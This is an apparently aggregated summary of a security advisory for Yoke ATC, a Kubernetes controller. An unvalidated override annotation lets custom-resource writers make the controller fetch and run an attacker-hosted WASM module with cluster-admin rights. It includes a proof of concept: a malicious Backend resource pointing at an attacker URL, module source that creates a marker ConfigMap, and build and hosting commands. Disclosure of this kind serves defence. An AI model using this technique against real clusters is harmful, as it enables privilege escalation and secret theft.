# Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC

Yoke ATC trusts the overrides.yoke.cd/flight annotation on Custom Resources, letting any CR writer point the controller at an attacker-hosted WASM module that executes in controller context.

- Payout: Research
- Severity: high
- Program: Yoke ATC
- Found by: b0b0haha, lixingquzhi
- Disclosed: 2026-02-12
- CVE: CVE-2026-26056
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wj8p-jj64-h7ff
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wj8p-jj64-h7ff
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:access-control vuln:rce

**Target:** Kubernetes admission webhook and reconciler in Yoke ATC controller
**Root cause:** The ATC admission webhook and reconciler read the overrides.yoke.cd/flight annotation and assign it directly to takeoffParams.Flight.Path without validating the WASM source, while the only authorization check is SubjectAccessReview for update on airways resources.
**Steps:**
1. Deploy ATC into a kind cluster via `yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest`
2. Build a malicious WASM module with `GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go` that prints a JSON list containing a ConfigMap
3. Host it with `python3 -m http.server 8888` and compute `HOST_IP` from docker0
4. Apply a Backend CR with annotation `overrides.yoke.cd/flight: "http://${HOST_IP}:8888/malicious.wasm"`
5. Observe ATC logs `using override module` and the HTTP server GET for malicious.wasm, then `kubectl get configmap stolen-credentials -n default`
**How found:** Source review of the annotation constant in pkg/flight/flight.go and its two sinks (cmd/atc/handler.go and internal/atc/reconciler_instance.go), noting the SubjectAccessReview only checks update on airways and never validates the flight URL.
**Exploitation:** Attacker with CR create/update permission submits a Backend CR carrying the override annotation pointing at an attacker-controlled WASM URL; the ATC webhook admits it and the reconciler downloads and executes the module, whose stdout JSON is applied as Kubernetes resources in the controller's identity (cluster-admin in the default install), enabling resource creation and secret exfiltration when ClusterAccess is enabled.
**Escalation:** Default ATC install binds ClusterRole cluster-admin, so WASM output can create arbitrary cluster resources; with ClusterAccess enabled the module can read cluster secrets and escalate to cluster-admin.
**Insight:** When a controller exposes an annotation to override the code/module it executes, the authorization check must cover that capability, not an adjacent resource verb; grep for annotation constants and trace every assignment into execution paths like Flight.Path.

## Proof of concept (copied exactly from the original report)

**Malicious Backend CR with override flight annotation**

```
MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm"

kubectl apply -f - <<EOF
apiVersion: examples.com/v1
kind: Backend
metadata:
  name: malicious-backend
  namespace: default
  annotations:
    overrides.yoke.cd/flight: "${MALICIOUS_URL}"
spec:
  image: nginx:latest
  replicas: 1
EOF
```

**Malicious WASM module creating ConfigMap**

```
// Malicious WASM module for VUL-001 vulnerability verification
package main

import (
    "encoding/json"
    "fmt"
)

func main() {
    // Create a ConfigMap to prove arbitrary code execution
    resource := map[string]interface{}{
        "apiVersion": "v1",
        "kind":       "ConfigMap",
        "metadata": map[string]interface{}{
            "name":      "stolen-credentials",
            "namespace": "default",
            "labels": map[string]string{
                "vulnerability": "VUL-001",
                "type":          "exfiltrated-token",
            },
        },
        "data": map[string]string{
            "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution",
            "proof":         "This ConfigMap was created by malicious WASM code",
        },
    }

    resources := []interface{}{resource}
    output, _ := json.Marshal(resources)
    fmt.Println(string(output))
}
```

**Compile and host malicious WASM**

```
GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go

**Step 2: Host malicious WASM**
python3 -m http.server 8888 &
```